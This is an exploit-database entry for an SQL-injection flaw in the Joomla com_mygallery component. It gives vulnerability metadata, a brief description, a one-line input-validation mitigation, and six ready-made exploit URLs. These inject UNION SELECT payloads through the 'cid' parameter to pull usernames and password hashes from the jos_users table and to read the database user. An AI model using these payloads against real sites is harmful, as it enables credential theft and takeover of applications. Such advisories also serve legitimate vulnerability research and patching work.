header-logo
Suggest Exploit
vendor:
com_mygallery
by:
S@BUN
7.5
CVSS
HIGH
SQL-injection
89
CWE
Product Name: com_mygallery
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE: N/A
CPE: a:joomla:joomla
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Browser
2008

Joomla com_mygallery 0 SQL-injection Vulnerability

The 'com_mygallery' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Attackers can use a browser to exploit this issue.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.
Source

Exploit-DB raw data:

Bugtraq ID:  	 37121
Class: 	Input Validation Error
Published: 	Feb 21 2008 12:00AM
Updated: 	Nov 24 2009 10:15PM
Credit: 	S@BUN
Vulnerable: 	Joomla com_mygallery 0

The 'com_mygallery' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 



Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),concat(username,0x3a,password),15/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12--

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-1+union+all+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15+from+jos_users

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users